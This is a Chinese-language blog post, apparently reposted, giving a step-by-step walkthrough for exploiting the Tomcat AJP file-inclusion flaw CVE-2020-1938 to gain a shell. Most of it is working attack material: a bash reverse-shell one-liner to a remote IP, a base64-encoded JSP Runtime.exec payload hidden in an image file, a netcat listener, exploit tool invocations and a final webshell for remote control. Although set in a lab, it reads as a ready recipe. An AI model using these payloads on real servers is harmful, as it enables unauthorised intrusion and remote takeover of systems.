CVE-2020-1938 Tomcat AJP 漏洞到getshell全過程


一、影響范圍(有一些不在影響的范圍的版本也會存在)

受影響版本

  • Apache Tomcat 6
  • Apache Tomcat 7 < 7.0.100
  • Apache Tomcat 8 < 8.5.51
  • Apache Tomcat 9 < 9.0.31

不受影響版本

  • Apache Tomcat = 7.0.100
  • Apache Tomcat = 8.5.51
  • Apache Tomcat = 9.0.31

 

二、漏洞利用

  靶機:kali2020    tomcat 8.5.32

  攻擊機:kali2020

 

1、

  假設在靶機上,tomcat搭建的網站存在文件上傳,但是只可以上傳圖片的情況下。如何利用此漏洞getshell

 

 

2、探測端口存在8009,或者有一些網站會更改AJP的端口如(8099 8001 8011)反正都試一下吧,本人就遇到過改為8099和8001的

(說個題外話:有一些網站可能會存在兩個tomcat的版本,所以ajp也會兩個端口,在驗證漏洞的時候找好AJP對應的網站。)

 

3、使用大佬寫的工具進行文件讀取和文件包含(工具文件讀取和包含都存在)

工具地址:https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read

驗證漏洞存在先進行文件讀取(讀取不到web.xml的情況下可以嘗試讀取一些已知的文件,可能會沒有web.xml

 

執行語句:python Tomcat_file.py -p 8009 -f /WEB-INF/web.xml 目標Ip

 

 

4、上傳帶有反彈shell語句的圖片馬

反彈shell語句:

   bash -i >& /dev/tcp/192.168.25.1/63000 0>&1

在http://www.jackson-t.ca/runtime-exec-payloads.html網站進行一下轉換

<%
java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI1LjEvNjMwMDAgMD4mMQ==}|{base64,-d}|{bash,-i}").getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
%>

下載一個圖片,使用copy合成圖片馬

copy 1.jpg/b + 2.jsp/a 3.jpg

上傳3.jpg

 

5、包含3.jpg,並成功反彈shell(必須要已知路徑,當前路徑即可,所包含的文件必須在ROOT目錄下)

記得要nc監聽反彈的端口哦    nc -lvvp 63000

python Tomcat_file_includ.py -p 8009 -f upload/3.jpg 192.168.25.134

 

 

5、寫入一句話木馬

echo 'jsp一句話' > a.jsp    //在a.txt這個文件中輸入i love u,如果沒有這個文件則創建。如果有這個文件,那么新內容代替原來的內容。

 

6、菜刀連接即可。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM